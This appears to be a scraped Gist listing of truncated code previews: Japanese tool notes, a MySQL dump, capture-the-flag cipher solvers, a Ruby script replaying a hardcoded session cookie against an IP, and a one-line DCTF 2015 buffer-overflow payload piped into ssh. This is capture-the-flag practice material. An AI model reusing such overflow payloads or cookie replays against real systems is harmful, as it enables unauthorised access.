Perl::Lint
gitを使ったツール開発
-
http://motemen.hatenablog.com/entry/2014/08/29/talked-at-yapc-asia-2014
-
ghq https://github.com/motemen/ghq -
git-unifyは怖い
Perl::Lint
gitを使ったツール開発
http://motemen.hatenablog.com/entry/2014/08/29/talked-at-yapc-asia-2014
ghq https://github.com/motemen/ghq
git-unifyは怖い
| mysql> show tables; | |
| +------------------+ | |
| | Tables_in_isucon | | |
| +------------------+ | |
| | memos | | |
| | users | | |
| +------------------+ | |
| 2 rows in set (0.00 sec) | |
| mysql> desc memos; |
| def char_num(n) | |
| return 0 if n == 'P' | |
| return 1 if n == 'L' | |
| return 2 if n == 'U' | |
| return 3 if n == 'S' | |
| end | |
| alfa = "あいうえおかきくけこさしすせそたちつてとなにぬねのはひふへほまみむめもやゆよらりるれろわをんがぎぐげござじずぜぞばびぶべぼぱぴぷぺぽ".split('') | |
| text = "PLSUPUUSPSPLPPPLPPPLPLLUPLUUPLULPPLLPSPLPLSUPPPLPUPSPLPUPSUUPLPSPSUSPLUUPSSPPUPLPPPUPUSSPPSPPPUSPLULPULUPULLPSUPPSSSPPPUPPPLPLPUPUPPPUPUPUSPPUUSPSPSLPPPPSSSPLPLPLUPPLSPPLUSPULSPSLLPPPUPPSSPLUUPUPUPUUPPUSSPPPLLPPPPSSSPUPPPULLPULPPSPPPSSUPSSSPPLUPLPLPLLLPLLPPUPSPUUUPSUPPPLPPPUPPPLLPPLPPLLSPLLSPULUPULLPULLPULPPSLUPPUPPPUPPLULPLUPPLSLPULLPSLUPPLSPLUUPLUP" | |
| slice_text = text.scan(/.{1,4}/) |
| // Use Gists to store code you would like to remember later on | |
| console.log(window); // log the "window" object to the console |
| oppai |
| require 'net/http' | |
| require 'uri' | |
| http = Net::HTTP.new('54.209.88.227', 80) | |
| # oppai2-1000 | |
| cookie = "session=eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCK7w.njxoA3POhr3wd4hIpYWpclygzUs; HttpOnly; Path=/" | |
| # cleared: eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCLJw.s4HgvN6NHWsW1S6ORGnr9G5JGA8 | |
| suffix = 1 | |
| loop do |
| import string | |
| import random | |
| from base64 import b64encode, b64decode | |
| FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' | |
| enc_ciphers = ['rot13', 'b64e', 'caesar'] | |
| dec_ciphers = ['rot13', 'b64d', 'caesard'] | |
| def rot13(s): |
| #usage: ruby dctf2015_e100.rb | ssh xxx@xx.xx.xx.xx | |
| str = 'A' * 0x34 + [0x8048650].pack("I*") | |
| puts str |